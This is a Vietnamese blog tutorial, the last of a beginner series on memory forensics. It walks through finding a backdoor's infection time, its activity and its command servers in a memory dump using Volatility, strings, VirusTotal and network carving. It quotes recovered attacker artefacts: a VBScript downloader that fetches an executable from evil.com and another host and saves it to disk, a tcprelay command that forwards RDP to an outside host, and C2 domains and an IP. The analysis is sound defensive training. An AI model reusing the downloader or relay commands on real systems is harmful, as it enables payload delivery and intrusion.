Memory Forensic — Lớp lá
Sau hai bài căn bản trước về Memory Forensic, hôm nay mình làm tiếp bài cuối trong series căn bản này. Do chỉ gói gọn trong 3 bài, để hợp lý hơn mình đã đổi tên 2 bài trước thành lớp mầm, lớp chồi và bài cuối mình lấy tên là lớp lá.
Nếu chưa đọc 2 bài trước, các bạn có thể đọc lại ở đây: lớp mầm, lớp chồi
Ngày thứ 3: Tìm các thông tin liên quan xung quanh backdoor
Sau khi đã tìm ra backdoor, việc quan trọng tiếp theo sẽ là tìm và ghi lại tất cả các thông tin liên quan xung quanh backdoor. Từ các thông tin đó ta có thể tiếp tục mở rộng điều tra thêm để đưa ra các các biện pháp theo dõi, phát hiện kịp thời các hệ thống đã bị lây nhiễm khác và có các giải pháp nhanh chóng giảm thiểu thiệt hại hoặc phục hồi các hệ thống đã bị lây nhiễm.
Những thông tin gì quan trọng cần tìm?
Khi đã phát hiện và có chứng cứ cụ thể xác định một hệ thống đã bị lây nhiễm backdoor, công việc tiếp theo thông thường sẽ là điều tra toàn bộ các thông tin xung quanh backdoor mà ta có thể điều tra được. Ở giai đoạn này, thông thường các chuyên gia sẽ hay thực hiện dump process backdoor xuống và bắt đầu dịch ngược và phân tích backdoor để đưa ra giải pháp khôi phục hoặc tìm kiếm các hệ thông lây nhiễm khác.
Tuy nhiên, theo kinh nghiệm của mình sau nhiều năm làm xử lý ứng cứu sự cố, việc quan trọng nhất là làm cách nào để tìm các thông tin liên quan khác của backdoor một cách nhanh nhất có thể để đưa ra các biện pháp ngăn chặn kịp thời nhằm giảm thiểu tối đa thiệt hại có thể xảy ra với doanh nghiệp.
Để tìm các thông tin liên quan một cách nhanh nhất có thể, ta sẽ đặt ra một số câu hỏi sau làm check list:
- Backdoor bị lây nhiễm vào thời gian nào?
- Backdoor đã làm những gì?
- Backdoor kết nối đến máy chủ điều khiển có IP/Domain nào?
Bây giờ ta sẽ làm memory forensic để tìm câu trả lời cho từng câu hỏi.
Backdoor bị lây nhiễm vào thời gian nào?
Thời gian là một thông tin mà theo mình là thành phần quan trọng nhất cần tìm đối với bất kỳ một cuộc điều tra nào. Đối với các hệ thống lớn, nếu không tìm ra được các cột mốc thời gian quan trọng để bắt đầu thì sẽ rất khó khăn và tốn rất nhiều thời gian cho việc điều tra.
Thông thường có 2 thông tin về thời gian sau liên quan đến backdoor mà ta có thể nhanh chóng tìm ra là thời gian process được khởi tạo và thời gian file được ghi vào ổ đĩa.
Thời gian process được khởi tạo
Thời gian process được khởi tạo ta có thể xem khá dễ dàng bằng volatility qua lệnh: pslist hoặc pstree(tham khảo bài lớp chồi)
Như ta thấy trong hình, thông qua pstree ta có thể thấy thời gian process được khởi tạo qua thông tin ở cột Time. Với thông tin thời gian này, ta có thể dùng để thực hiện tính toán độ chênh lệch thời gian giữa lúc hệ thống đã khởi động xong và thời gian process khởi tạo.
Thông thường trên hệ điều hành Windows, thời gian của process System sẽ là khoản thời gian ta dùng để xác định lúc hệ thống vừa khởi động. Dùng độ chênh lệch thời gian khởi tạo của process System và thời gian khởi tạo của backdoor ta sẽ có tạm thời xác định được một số thông tin quan trọng sau:
- Nếu độ chênh lệch thời gian rất ngắn (trong vòng dưới 5–10 phút), ta có thể tạm đoán được backdoor được cài đặt tự khởi động với hệ thống và thời gian khởi tạo process của backdoor không phải là thời gian bắt đầu lây nhiễm.
- Nếu độ chênh lệch thời gian dài, ta có thể tạm xác định thời gian khởi tạo process của backdoor cũng chính là thời gian bắt đầu bị lây nhiễm. Tuy nhiên đối với một số trường hợp backdoor được chạy và tắt theo định kỳ thì thông tin này sẽ không còn đúng.
Như vậy trong cục memory dump này, so sánh thời gian khởi tạo của process System với pid 4 ta thấy độ chênh lệch thời gian rất ngắn (gần 2 phút). Như vậy trong trường hợp này thời gian khởi tạo của process backdoor iexplore.exe với pid là 2772 sẽ không phải là thời gian bắt đầu bị lây nhiễm.
0x87b6b030:iexplore.exe 2772 2548 2 74 2013–01–12 16:40:34 UTC+0000
0x87978b78:System 4 0 103 3257 2013–01–12 16:38:09 UTC+0000
Thời gian file được ghi vào ổ cứng
Thông thường với hệ thống Windows sử dụng NTFS, thời gian file được ghi vào hệ thống có thể tìm được thông qua Master File Table (MFT). Ở bài trước ta đã tìm ra được đường dẫn chính xác của backdoor.
C:\Users\John Doe\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\iexplore.exe
Nếu có thể truy cập vào ổ cứng của máy bị lây nhiễm, ta có thể trích xuất MFT và tìm ra thời gian chính xác file được lưu vào ổ đĩa và thông thường thời gian này sẽ là thời gian dùng để xác định lúc hệ thống bắt đầu bị lây nhiễm. Tuy nhiên trong trường hợp này ta chỉ có memory dump của hệ thống, và may mắn là thông tin của MFT cũng có tồn tại phân mảnh trên bộ nhớ mỗi khi hệ thống cần truy xuất hoặc cập nhật.
Ta có thể truy xuất toàn bộ thông tin MFT còn tồn tại trên bộ nhớ bằng cách sử dụng volatility với plugin mftparser
Để tiện cho việc tìm thông tin trên MFT của backdoor, ta sẽ ghi lại hết thông tin trả về của mftparser ra một file text vào dùng grep để tìm.
vol.py -f ch2.dmp — profile=Win7SP0x86 mftparser > mft.txt
grep -a2 -b2 iexplore.exe mft.txt
Như vậy qua các thao tác trên, ta có thể tìm thấy được thời gian file backdoor được ghi vào đĩa qua thông tin ở cột MFT Altered là 2013–01–12 10:40:11 UTC+0000 cho file backdoor với đường dẫn Users\John Doe\A
ppData\Roaming\MICROS~1\Internet Explorer\Quick Launch\iexplore.exe
Xác định được thời gian lây nhiễm của hệ thống sẽ giúp chúng ta có được một cột mốc thời gian quan trọng để mở rộng tìm kiếm thêm trên toàn hệ thống tất cả những thông tin bất thường khác xảy ra vào các khoảng thời gian gần nhất trước và sau cột mốc thời gian này.
Backdoor đã làm những gì?
Tất cả các quá trình xử lý của các process trên hệ thống đều sử dụng bộ nhớ của máy tính, và các dữ liệu của mỗi process nếu chưa bị ghi đè khoặc hệ thống chưa khởi động lại thì ta sẽ tìm ra được ít nhiều thông tin quan trọng để xác định được backdoor đã làm gì trên hệ thống bị lây nhiễm.
Trong trường hợp này ta thấy backdoor có chạy một process con là cmd.exe với pid 1616.
Volatility có 2 plugin dùng để xem thông tin lịch sử của các lệnh đã được gõ vào cmd là cmdscan và consoles.
Đầu tiên ta thử dùng cmdscan với memory dump.
vol.py -f ch2.dmp — profile=Win7SP0x86 cmdscan
Thử tiếp với consoles.
vol.py -f ch2.dmp — profile=Win7SP0x86 consoles
Dùng plugin consoles cho ta thấy được nhiều thông tin hơn cmdscan. Ở đây ta đã biết process cmd.exe được chạy bởi backdoor có pid là 1616, do đó ta chỉ cần quan tâm đến lịch sử các lệnh nằm trong pid này.
Nhìn vào ta sẽ dễ dàng thấy được trong cmd.exe có pid 1616 đã được chạy 2 chương trình là whoami.exe và tcprelay.exe.
Thử chạy 2 lệnh này trên một máy Windows ta sẽ thấy được tcprelay.exe không phải là một chương trình có sẵn của hệ thống. Google tcprelay.exe cũng cho ra khá nhiều thông tin, như vậy với các thông tin hạn chế này ta chỉ có thể tạm đoán được hacker đã chạy whoami.exe để xem thông tin user, group đang login và chạy tcprelay.exe để làm gì đó.
Nếu muốn xác định được tcprelay.exe chính xác dùng để làm gì ít nhất ta phải có được thông tin các tham số đưa vào (nếu có) hoặc có binary của file tcprelay.exe này. Tuy nhiên trong trường hợp này tcprelay.exe không có trong danh sách process đang chạy nên ta không thể sử dụng memory forensic để tìm tham số hoặc dump ra file để phân tích. Như vậy để tìm thêm thông tin liên quan đến tcprelay.exe, cách còn lại duy nhất là tìm hết trong memory dump tất cả các vùng dữ liệu có chứa chuỗi tcprelay.exe với hi vọng sẽ còn sót lại thông tin gì đó vẫn còn tồn tại.
Ta thử dùng strings và grep để lọc các thông tin xung quanh chuỗi tcprelay.exe (nếu may mắn còn có dữ liệu)
Trong memory dump này, rất may mắn là còn có rất nhiều thông tin liên quan xung quanh chuỗi tcprelay.exe. Đầu tiên ta lưu ý thấy chuỗi tcprelay.exe 192.168.0.22 3389 yourcsecret.co.tv 443 lập lại khá nhiều lần, dựa vào thông tin này ta có thể xác định được đây là câu lệnh đầy đủ của tcprelay.exe được chạy qua backdoor. Theo thông tin này ta thấy ip 192.168.0.22 là ip mạng nội bộ, port 3389 là port RDP, như vậy theo định dạng của câu lệnh với tên ta có thể đoán được thêm tcprelay.exe có khả năng dùng làm port forwarding vào hệ thống remote desktop (RDP) của máy có ip 192.168.0.22.
Ngoài ra trong một phần dữ liệu giống như dữ liệu xuất ra của lệnh dir ta thấy cùng thư mục với tcprelay.exe còn có file get.vbs (có thể đoán là vb script dùng để download). Và đường dẫn chứa các file này là AppData\Local\Temp\TEMP23 của user John Doe.
Tiếp tục dùng strings và grep để tìm thử thông tin về get.vbs.
strings ch2.dmp | grep -a5 -b5 get.vbs
Nhìn vào ta sẽ dễ dàng thấy có rất nhiều dòng lệnh echo nội dung vbscript vào file get.vbs, ví dụ như echo Set F=CreateObject(“Microsoft.XMLHTTP”) >get.vbs. Như vậy file get.vbs chính xác là một vbscript dùng để download một cái gì đó từ internet qua giao thức HTTP (tham khảo thêm về XMLHTTP). Thử tìm kiếm thêm trên memory dump xem có thể còn được nội dung đầy đủ của vbscript này không.
strings ch2.dmp | grep -a8 ‘F=CreateObject(“Microsoft.XMLHTTP”)’
Ở đây ta thấy thêm được các thông tin thú vị khác liên qua đến backdoor thông qua các nội dung còn sót lại của vbscript.
Set F=CreateObject(“Microsoft.XMLHTTP”)
F.Open “GET”,”http://4yourcsecret.co.tv/index2.htm",False
F.Send
Set IA=CreateObject(“ADODB.Stream”)
IA.Type=1
IA.Open
IA.Write F.responseBody
IA.SaveToFile “C:\Users\JOHNDO~1\AppData\Local\Temp\cj.exe”,2Set F=CreateObject(“Microsoft.XMLHTTP”)
F.Open “GET”,”http://evil.com/evil.exe",False
F.Send
Set IA=CreateObject(“ADODB.Stream”)
IA.Type=1
IA.Open
IA.Write F.responseBody
IA.SaveToFile “C:\Users\JOHNDO~1\AppData\Local\Temp\cj.exe”,2
Tìm kiếm được các lịch sử hoạt động và nhiều thông tin xung quanh backdoor sẽ giúp chúng ta xác định được phần nào hacker đã làm gì trên hệ thống bị lây nhiễm cũng như có thêm nhiều thông tin để tiếp tục mở rộng tìm kiếm và điều tra. Như trong phần này từ câu lệnh tcprelay.exe ta tìm ra thêm các thông tin liên quan khác từ các vùng rác còn sót lại trên bộ nhớ như nội dung của vbscript get.vbs có thêm thông tin về các website hacker có thể sử dụng và tên file được lưu sau khi download.
Backdoor kết nối đến máy chủ điều khiển có IP/Domain nào?
Sau các mốc thời gian, các thông tin liên quan đến hoạt động của backdoor, việc tiếp theo cũng khá quan trọng là tìm ra được ip hoặc domain của máy chủ điều khiển. Thông qua ip/domain máy chủ điều khiển của backdoor, ta có thể theo dõi và mở rộng tìm kiếm các máy bị lây nhiễm khác thông qua các dữ liệu từ network như kết nối, dns…
Thông thường, công việc tìm kiếm ip/domain máy chủ điều khiển được thực hiện bằng cách dịch ngược lại binary của backdoor. Nếu các thông tin này không được mã hóa trong binary thì ta sẽ dễ dàng tìm được qua việc tìm các chuỗi ip/domain có trong binary. Nếu các thông tin này được mã hóa thì việc tìm ra được thông tin ip/domain sẽ phức tạp hơn nhiều và thời gian tìm được thông tin sẽ phụ thuộc vào kỹ năng của người làm và mức độ phức tạp của thuật toán.
Đầu tiên ta sẽ dump process backdoor là iexplore.exe với pid 2772 xuống và tìm thử các chuỗi trên binary xem có thông tin gì hay không.
vol.py -f ch2.dmp — profile=Win7SP0x86 procdump -p 2772 — dump-dir=.
strings executable.2772.exe
Trên binary backdoor này ta thấy ngoài chuỗi cmd.exe ra thì không còn thông tin gì đáng chú ý. Như vậy khả năng cao là các thông tin khác đã được mã hóa.
Cách nhanh nhất để tìm ra các thông tin về network như ip/domain được sử dụng trong binary là chạy binary trong một hệ thống sandbox chuyên dùng để phân tích malware như Cuckoo Sandbox hoặc nhanh nhất là sử dụng một hệ thống phân tích online như Virus Total.
Thử upload binary backdoor đã được dump lên Virus Total và xem thông tin về network trong tab behavior.
Trong binary này ta sẽ thấy được tên 4 domain được Virus Total ghi nhận sau khi chạy qua hệ thống sandbox phân tích.
ns2.wrauzfevvo.com
furious.devilslife.com
y0ug.itisjustluck.com
whereare.sexy-serbian
Một cách khác để tìm các thông tin sau khi được mã hóa là tìm các chuỗi ip/domain trong toàn bộ vùng nhớ được sử dụng của process backdoor. Nếu chuỗi đã được mã hóa thì khi được chạy, phần mềm bắt buộc phải thực hiện các phép tính toán để giải mã các thông tin này trên bộ nhớ để sử dụng. Tuy nhiên cách này cũng sẽ mất nhiều thời gian để tìm ra được đúng ip/domain của máy chủ điều khiển mà backdoor sử dụng.
Ở đây mình sẽ thử thử tìm thông tin dựa trên các domain đã được phân tích qua Virus Total.
Sử dụng Volatility để dump xuống toàn bộ vùng nhớ của backdoor process.
vol.py -f ch2.dmp — profile=Win7SP0x86 memdump -p 2772 — dump-dir=.
Dùng strings và grep để tìm thử thông tin về 4 domain trên vùng nhớ của process backdoor.
strings 2772.dmp | grep -E “ns2.wrauzfevvo.com|furious.devilslife.com|y0ug.itisjustluck.com|whereare.sexy-serbian”
Ta chỉ thấy tồn tại duy nhất một tên domain furious.devilslife.com trên bộ nhớ.
Ngoài 2 cách trên là đơn giản và dễ làm, chúng ta còn có thể sử dụng thêm 2 cách khác phức tạp hơn.
- Cào các dữ liệu về network còn sót lại trên bộ nhớ. Cách này sẽ phụ thuộc nhiều vào lượng dữ liệu network còn sót lại trên bộ nhớ. Nếu may mắn ta có thể tìm ra được các thông tin liên quan đến network của backdoor còn sót lại.
- Dịch ngược binary như đã đề cập ở trên.
Mình sẽ viết thêm ít dòng ngắn gọn về 2 cách này.
Network carving
Để làm network carving trên một file memory, có một số công cụ có thể sử dụng là bulk_extractor và CapLoader. Ta sẽ sử dụng trial version của CapLoader để cào dữ liệu network của memory dump qua tính năng Carve packet from file.
Sau khi xem tất cả các dữ liệu giữa các kết nối ta sẽ thấy một chút may mắn ở luồng dữ liệu có Flow_ID là 42.
Nhìn vào dữ liệu ta sẽ thấy hệ thống kết nối ra ngoài ip 106.187.94.116 qua cổng 80 và nhận một số câu lệnh từ server này.
cd ..
rmdir /s TEMP23
y
Các dòng lệnh này cho thấy thao tác xóa thư mục TEMP23, trong phần tìm các thông tin đã hoạt động của backdoor ở trên ta có thấy thư mục chứa các file tcprelay.exe và get.vbs nằm ở AppData\Local\Temp\TEMP23 của user John Doe. Như vậy ta có thể xác định ip 106.187.94.116 chính là ip của máy chủ điều khiển backdoor.
Thử tìm thông tin ip này trên threatcrowd.org ta sẽ thấy ip này đã từng được sử dụng cho domain furious.devilslife.com đã tìm thấy ở 2 phần trên.
Reverse engineering
Hàm giải mã các chuỗi mã hóa nằm ở địa chỉ 4012F0, thuật toán giải mã là xor tăng dần key=key+1 với key là 0x18. Key được tính bằng cách lấy low byte (al) kết qua cộng dồn của chuỗi DEADBABE (0x218).
Giải mã bằng công cụ 101 Editor ta sẽ có các kết quả các tên domain tương tự như trên và còn nhiều hơn.
Bằng nhiều cách khác nhau, ta có thể tìm được ip/domain của máy chủ điều khiển được backdoor sử dụng. Các thông tin này sẽ giúp rất nhiều cho việc tìm ra các hệt thống khác cùng bị lây nhiễm backdoor này thông qua việc theo dõi các kết nối đến ip/domain này.
Tổng kết
Đến đây mình xin kết thúc chuỗi bài mẫu giáo về Memory Forensic này. Hi vọng ít nhiều sẽ giúp ích phần nào kiến thức cho các bạn mới vào nghề .
Ở phần này do quá nhiều chữ nên mình cũng không có thời gian review lại hết về cách trình bày và các câu chữ. Nếu cả thấy có đoạn nào chưa hợp lý các bạn có thể chat trực tiếp với mình trong kênh slack của VNSec qua nickname 柯大侠.
— Enjoy —